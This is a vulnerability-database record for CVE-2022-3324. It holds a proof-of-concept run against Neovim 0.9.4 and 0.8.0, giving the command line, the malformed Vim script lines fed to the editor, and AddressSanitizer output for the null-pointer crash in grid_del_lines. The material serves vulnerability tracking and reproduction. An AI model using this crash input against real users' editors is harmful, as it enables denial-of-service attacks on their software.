{"uuid": "4ea8cb73-bfeb-413e-8067-db3f6270a0d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3324", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/e550dc202a82e569606eebcb053f30bf", "content": "Command:\n./nvim-0.9.4 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: se encoding=iso8859\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324/CVE-2022-3324:\nline    1:\nE519: Option not supported: encoding=iso8859\nline 2: norm:se!r^A^M\n:se!r...\n:se!readonly redrawdebug redrawtime regexpengine relativenumber remap report revins rightleft rightleftcmd ruler rulerformat runtimepath\nline 2: se!readonly redrawdebug redrawtime regexpengine relativenumber remap report revins rightleft rightleftcmd ruler rulerformat runtimepath\n\n  redrawdebug=\n  redrawtime=2000\n  regexpengine=0\n  report=2\n  rightleftcmd=search\n  rulerformat=\n  runtimepath=~/.config/nvim,/etc/xdg/nvim,~/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/local/lib/nvim,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,~/.local/share/nvim/site/after,/etc/xdg/nvim/after,~/.config/nvim/after\n\nline 3: wi0 0\n\nline 4: no0 ^W^N^WH\n\nline 5: sil0norm0000000q:\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==67317==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000007d5177 bp 0x7ffeb7d60350 sp 0x7ffeb7d601e0 T0)\n==67317==The signal is caused by a READ memory access.\n==67317==Hint: address points to the zero page.\n    #0 0x7d5177 in grid_del_lines /home/zzw/Desktop/neovim/build/../src/nvim/grid.c:890:24\n    #1 0x8b2ad3 in msg_scroll_up /home/zzw/Desktop/neovim/build/../src/nvim/message.c:2379:5\n    #2 0x8a9ded in msg_start /home/zzw/Desktop/neovim/build/../src/nvim/message.c:1422:5\n    #3 0x8a8cf8 in msg_attr_keep /home/zzw/Desktop/neovim/build/../src/nvim/message.c:334:3\n    #4 0x8a8b3e in msg /home/zzw/Desktop/neovim/build/../src/nvim/message.c:221:10\n    #5 0x77d31f in abandon_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2654:3\n    #6 0x77429e in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:872:7\n    #7 0x7731ad in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2680:18\n    #8 0x775db7 in getexline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2922:10\n    #9 0x7469d6 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:513:30\n    #10 0x8f7e3d in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3251:18\n    #11 0x8f1c5e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1207:3\n    #12 0x8f0cb8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6651:9\n    #13 0x75e1c3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6493:5\n    #14 0x75e059 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6476:3\n    #15 0x763037 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6408:7\n    #16 0x75415d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x74bb2c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #18 0x746cca in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #19 0x9e7eaa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #20 0x9e65aa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #21 0x9e648e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #22 0x75415d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74bb2c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #24 0x746cca in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x7491d1 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #26 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #27 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #28 0x7f2851597082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #29 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.4-ASAN+0x467f6d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/grid.c:890:24 in grid_del_lines\n==67317==ABORTING\n\n\n\nCommand:\n./nvim-0.8.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: se encoding=iso8859\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3324/CVE-2022-3324:\nline    1:\nE519: Option not supported: encoding=iso8859\nline 2: norm:se!r^A^M\n:se!r...\n:se!readonly redrawdebug redrawtime regexpengine relativenumber remap report revins rightleft rightleftcmd ruler rulerformat runtimepath\nline 2: se!readonly redrawdebug redrawtime regexpengine relativenumber remap report revins rightleft rightleftcmd ruler rulerformat runtimepath\n\n  redrawdebug=\n  redrawtime=2000\n  regexpengine=0\n  report=2\n  rightleftcmd=search\n  rulerformat=\n  runtimepath=~/.config/nvim,/etc/xdg/nvim,~/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/usr/local/share/nvim/runtime,/usr/local/lib/nvim,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,~/.local/share/nvim/site/after,/etc/xdg/nvim/after,~/.config/nvim/after\n\nline 3: wi0 0\n\nline 4: no0 ^W^N^WH\n\nline 5: sil0norm0000000q:\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==67455==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000a9ad40 bp 0x7ffc055bfce0 sp 0x7ffc055bfa40 T0)\n==67455==The signal is caused by a READ memory access.\n==67455==Hint: address points to the zero page.\n    #0 0xa9ad40 in grid_del_lines /home/zzw/Desktop/neovim/build/../src/nvim/grid.c:880:24\n    #1 0xc8cfdd in msg_scroll_up /home/zzw/Desktop/neovim/build/../src/nvim/message.c:2372:7\n    #2 0xc7dce6 in msg_start /home/zzw/Desktop/neovim/build/../src/nvim/message.c:1405:5\n    #3 0xc7c11c in msg_attr_keep /home/zzw/Desktop/neovim/build/../src/nvim/message.c:329:3\n    #4 0xc7bd5c in msg /home/zzw/Desktop/neovim/build/../src/nvim/message.c:215:10\n    #5 0x9ef0f8 in abandon_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2438:3\n    #6 0x9da7f6 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:843:7\n    #7 0x9d756b in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2464:10\n    #8 0x9dcbfa in getexline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2709:18\n    #9 0x97d477 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:519:30\n    #10 0xd202b8 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4051:20\n    #11 0xd15499 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #12 0xd11fdc in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7413:9\n    #13 0x9ae81a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #14 0x9ae576 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #15 0x9b82ad in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #16 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #20 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #21 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #22 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #24 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #25 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #26 0xb8b4f0 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #27 0xb80c42 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #28 0x7fd3289c5082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #29 0x466f9d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x466f9d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/grid.c:880:24 in grid_del_lines\n==67455==ABORTING", "creation_timestamp": "2026-09-20T13:27:39.693612Z"}